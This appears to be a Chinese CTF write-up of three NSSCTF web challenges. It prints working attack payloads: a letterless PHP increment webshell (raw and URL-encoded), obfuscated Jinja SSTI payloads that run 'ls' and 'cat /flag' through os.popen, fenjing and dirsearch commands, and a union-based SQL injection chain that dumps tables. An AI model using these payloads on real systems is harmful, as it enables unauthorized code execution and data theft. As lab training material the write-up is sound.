nss-round28-web

ez_php

image-20250324211919479

这题前面简单,不多说

1
2
post传:a[]=1&b[]=2
get传:?password=123456a

image-20250324212231847

解法一日志包含

接下来我打的是日志包含,算是非预期

image-20250324212746776

各发包2次哈

image-20250324212816123

解法二打自增

文件包含读取后,有base64字符(还一个非预期直接/file就能出flag)

1
file=php://filter/read=convert.base64-encode/resource=level2.php

image-20250324214454949

解码得到

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php
error_reporting(0);
if (isset($_POST['rce'])) {
    $rce = $_POST['rce'];
    if (strlen($rce) <= 120) {
        if (is_string($rce)) {
            if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
                eval($rce);
            } else {
                echo("Are you hack me?");
            }
        } else {
            echo "I want string!";
        }
    } else {
        echo "too long!";
    }
}
?>

这里无字母rce,且过滤了^,~,|,那只能打自增(其实也可以fuzz一下看看可以用哪些)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<?php

// 定义正则表达式
$pattern = "/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/";

// 存储未被过滤的字符
$unfilteredChars = [];

// 遍历 ASCII 码从 32 到 127
for ($i = 32; $i <= 127; $i++) {
    $char = chr($i); // 获取对应的字符
    if (!preg_match($pattern, $char)) { // 检查是否未被过滤
        $unfilteredChars[] = $char; // 添加到未过滤字符数组
    }
}

// 输出未被过滤的字符
echo "未被过滤的字符: " . implode('', $unfilteredChars) . "\n";

?>

image-20250324224236542

那显然只能打自增

自增规则简单,比如$a=‘A’;$a++=‘B’,所以只要一个字母A,我就可以构造一个$_GET,这样就可以给 _ 还有__赋值(这里有数字,但是还是用_,因为我这个照着无数字字母rce打,相当于通用payload),从而到达命令执行的目的,那这个A怎么的得到?

在php中,数组与字符串连接,会被转换成字符串,值就是Array,那就相对于拿到了所有字母

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<?php
$_=[].'';//Array
$_=$_[''=='$'];//A
$_++;//B
$_++;//C
$_++;//D
$_++;//E
$__=$_;//E
$_++;//F
$_++;//G
$___=$_;//G
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//T
$_=$___.$__.$_;//GET
//var_dump($_);
$_='_'.$_;//_GET
var_dump($$_[_]($$_[__]));
//$_GET[_]($_GET[__])

接下来就可以尝试去给___GET传参,这里我们需要把换行的都去掉,然后进行一次URL编码,因为中间件会解码一次,所以我们构造的payload先变成这样

1
$_=[].'';$_=$_[''=='$'];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=$___.$__.$_;$_='_'.$_;$$_[_]($$_[__]);

然后是

1
%24_%3D%5B%5D.''%3B%24_%3D%24_%5B''%3D%3D'%24'%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D'_'.%24_%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B

但是这个paylaod不行,因为限制了字符,还是要利用数字,所以应该打$_GET[1] ($_GET[2])

1
2
3
4
5
6
7
8
9
$_=[]._;//Array
$__=$_[1];//r
$_=$_[0];//A
$_++;//B
$_1=++$_;//$_1=C,$_=D(这里是前缀++,即先自增一再赋值)
$_++;$_++;$_++;$_++;//$_=H
$_=$_1.++$_.$__;//CHr
$_=_.$_(71).$_(69).$_(84);//_GET
$$_[1]($$_[2]); //$_GET[1]$_GET[2]
1
%24_%3D%5B%5D._%3B%24__%3D%24_%5B1%5D%3B%24_%3D%24_%5B0%5D%3B%24_%2B%2B%3B%24_1%3D%2B%2B%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24_1.%2B%2B%24_.%24__%3B%24_%3D_.%24_(71).%24_(69).%24_(84)%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B%20

这里是118个字符,比较极限,下面更好,只有111字符

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
$_=([]._){0}; //A
$_++;
$_1=++$_;  //$_1=C
$_++;
$_++;
$_++;
$_++;
$_1.=++$_.([]._){1}; //$_1=CHr
$_=_.$_1(71).$_1(69).$_1(84); //$_=_GET
$$_[1]($$_[2]); //$_GET[1]($_GET[2])
//缩短为一行
$_=([]._){0};$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_1.=++$_.([]._){1};$_=_.$_1(71).$_1(69).$_1(84);$$_[1]($$_[2]);

[从CTFShowRCE挑战]中学习自增构造webshell-腾讯云开发者社区-腾讯云

对于RCE和文件包含的一点总结 | root@wanth3f1ag

[HNCTF] challenge_rce - Boogiepop Doesn’t Laugh

Coding Loving-ssti

有源码先审计代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from flask import Flask, request, render_template, session, url_for

app = Flask(__name__)
app.secret_key = 'Ciallo~(∠・ω <)⌒★'  # 设置应用密钥,用于会话加密

# 定义过滤关键词列表
FILTER_KEYWORDS = ['Ciallo~(∠・ω <)⌒★']
TIME_LIMIT = 1  # 时间限制,未在代码中使用

# 定义函数,检查输入中是否包含禁止的关键词
def contains_forbidden_keywords(complaint):
    for keyword in FILTER_KEYWORDS:
        if keyword.lower() in complaint:  # 检查关键词是否在输入中(不区分大小写)
            return True
    return False

@app.route('/', methods=['GET', 'POST'])  # 定义路由 '/',支持 GET 和 POST 方法
def index():
    session['user'] = 'test'  # 设置会话中的用户为 'test'
    command = request.form.get('cmd', 'coding')  # 获取表单中的 'cmd' 值,默认为 'coding'
    return render_template('index.html', command=command)  # 渲染 index.html 模板,传递 command 参数

@app.route('/test', methods=['GET', 'POST'])  # 定义路由 '/test',支持 GET 和 POST 方法
def shell():
    if session.get('user') != 'test':  # 检查会话中的用户是否为 'test'
        return render_template('Auth.html')  # 如果不是,渲染 Auth.html 模板(可能是登录页面)

    if (abc := request.headers.get('User-Agent')) is None:  # 获取 User-Agent 头,如果不存在
        return render_template('Auth.html')  # 返回 Auth.html 模板

    cmd = request.args.get('cmd', '试一试')  # 获取 URL 参数中的 'cmd' 值,默认为 '试一试'

    if request.method == 'POST':  # 如果是 POST 请求
        css_url = url_for('static', filename='style.css')  # 生成静态文件 style.css 的 URL
        command = request.form.get('cmd')  # 获取表单中的 'cmd' 值

        if contains_forbidden_keywords(command):  # 检查命令中是否包含禁止的关键词
            return render_template('forbidden.html')  # 如果包含,渲染 forbidden.html 模板

        # 使用 render_template_string 渲染一个 HTML 字符串,传递 command 和 css_url 参数
        return render_template_string(f'''
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>Loving Music</title>
            <link rel="stylesheet" href="{css_url}">
            <link href="<url id="cvh0d9sc75rev485mjl0" type="url" status="failed" title="" wc="0">https://fonts.googleapis.com/css2?family=Poppins:wght@400</url> ;600&display=swap" rel="stylesheet">
        </head>
        <body>
            <div class="container">
                <h1>Loving coding</h1>
                <p class="emoji">🧑‍💻</p>
                <p>{command}</p>
            </div>
        </body>
        </html>
        ''', command=command, css_url=css_url)

    return render_template('shell.html', command=cmd)  # 如果是 GET 请求,渲染 shell.html 模板,传递 cmd 参数

显然这里漏洞点在render_template_string ,这个与ssti密不可分(render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,在渲染的时候会把 {undefined{**}} 包裹的内容当做变量解析替换。)

Flask的渲染方法函数—render_template()/render_template_string()-CSDN博客

所以就是打ssti(在/test路由,cmd是参数),先fuzz一下,这些都是没过滤的

image-20250325094722362

下面是过滤的(下面还一些关键词,那些无所谓,直接引号绕过了),显然,困难的是数字,下划线过滤了,因为下划线过滤了,一般用request加attr,或者编码,但是数字和点过滤了,这让我束手无策。

image-20250325094812653

那就直接fenjing跑!

一开始我直接跑fenjing跑不出,一般默认跑fenjing基本跑不出,要根据题目加点参数才行。这个fenjing跑要带路由,cookie,不然跑不出。这里我猜猜原因,这里设置了seesion会话用户是test,后面还进行了验证,所以要带上seesion才行。

image-20250325101050597

fenjing如果你是pip下载就打

1
fenjing crack --url http://node6.anna.nssctf.cn:23137/test  --cookies session=eyJ1c2VyIjoidGVzdCJ9.Z-ICRg.6h9VWlD5DS5HIzdu7uCxabtUeVQ --inputs cmd --method POST

不然就命令行前加pyhton -m就行

1
python -m fenjing crack --url http://node6.anna.nssctf.cn:23137/test  --cookies session=eyJ1c2VyIjoidGVzdCJ9.Z-ICRg.6h9VWlD5DS5HIzdu7uCxabtUeVQ --inputs cmd --method POST

image-20250325092040651

然后执行命令就行

image-20250325092215660

image-20250325092228589

这里给出payload:ls

1
cmd={{((cycler['next'][lipsum|escape|batch(((x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x)|count))|list|first|last*(x,x)|count+'GLOBALS'|lower+lipsum|escape|batch(((x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x)|count))|list|first|last*(x,x)|count][lipsum|escape|batch(((x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x)|count))|list|first|last*(x,x)|count+'builtins'+lipsum|escape|batch(((x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x)|count))|list|first|last*(x,x)|count][lipsum|escape|batch(((x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x)|count))|list|first|last*(x,x)|count+'import'+lipsum|escape|batch(((x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x)|count))|list|first|last*(x,x)|count]('os'))['popen'](((lipsum()|urlencode|first+'c')*(x,x,x,x)|count)|format(((x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x,x,x)|count),(((x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x,x)|count)*(x,x,x,x,x)|count),((x,x,x,x,x,x,x,x)|count*(x,x,x,x)|count),((x,x,x,x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x)|count))))['r''ead']()}}

cat /flag

1
cmd={{((cycler['next'][lipsum|escape|batch(((x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x)|count))|list|first|last*(x,x)|count+'GLOBALS'|lower+lipsum|escape|batch(((x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x)|count))|list|first|last*(x,x)|count][lipsum|escape|batch(((x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x)|count))|list|first|last*(x,x)|count+'builtins'+lipsum|escape|batch(((x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x)|count))|list|first|last*(x,x)|count][lipsum|escape|batch(((x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x)|count))|list|first|last*(x,x)|count+'import'+lipsum|escape|batch(((x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x)|count))|list|first|last*(x,x)|count]('os'))['popen'](((lipsum()|urlencode|first+'c')*(x,x,x,x,x,x,x,x,x)|count)|format(((x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x,x,x,x)|count),(((x,x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x)|count)*(x,x,x,x)|count),((x,x,x,x,x,x,x,x)|count*(x,x,x,x)|count),((x,x,x,x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x)|count),((x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x)|count))))['r''ead']()}}

总结,fenjing还是很强,以前不会用,以后注意一定要带上参数

light_pink-sql

这题是考sql,但是有非预期

非预期

拿dirsearch扫一下

1
python dirsearch.py -u http://node6.anna.nssctf.cn:23588/

image-20250325105744862

db.php没有东西,但是shell.php有好东西

image-20250325105829564

直接有eval了,我这可以直接打一句话木马了!

但是!这里有phpinfo!,所以我猜测一下可能会有flag,直接搜flag或者nss,发现flag在环境变量

预期解

预期解显然就是打sql

先打1'#%23(%23就是#,–+被过滤了)

然后试1' order by 5%23(试到6报错)

image-20250325110841608

然后看看哪有回显,但是报错,原因是-被禁用

image-20250325111811920

果然-被禁,结果是4是回显

image-20250325111857831

1
0' union select 1,2,3,4,5%23

接下来找表

1
0' union select 1,2,3,group_concat(table_name),5 from information_schema.tables where table_schema=database()%23

显示不可以哦=,所以应该是**=被过滤,用like代替**

1
0' union select 1,2,3,group_concat(table_name),5 from information_schema.tables where table_schema like database()%23

image-20250325112517182

查列

1
0' union select 1,2,3,group_concat(column_name),5 from information_schema.columns where table_name like 'Cute'%23

查flag

1
0' union select 1,2,3,group_concat(Happy),5 from Cute%23

image-20250325113842924

此题过滤了-还有=,但是还是比较友好,毕竟报错还是有提示,是一个不错的sql题

谢谢观看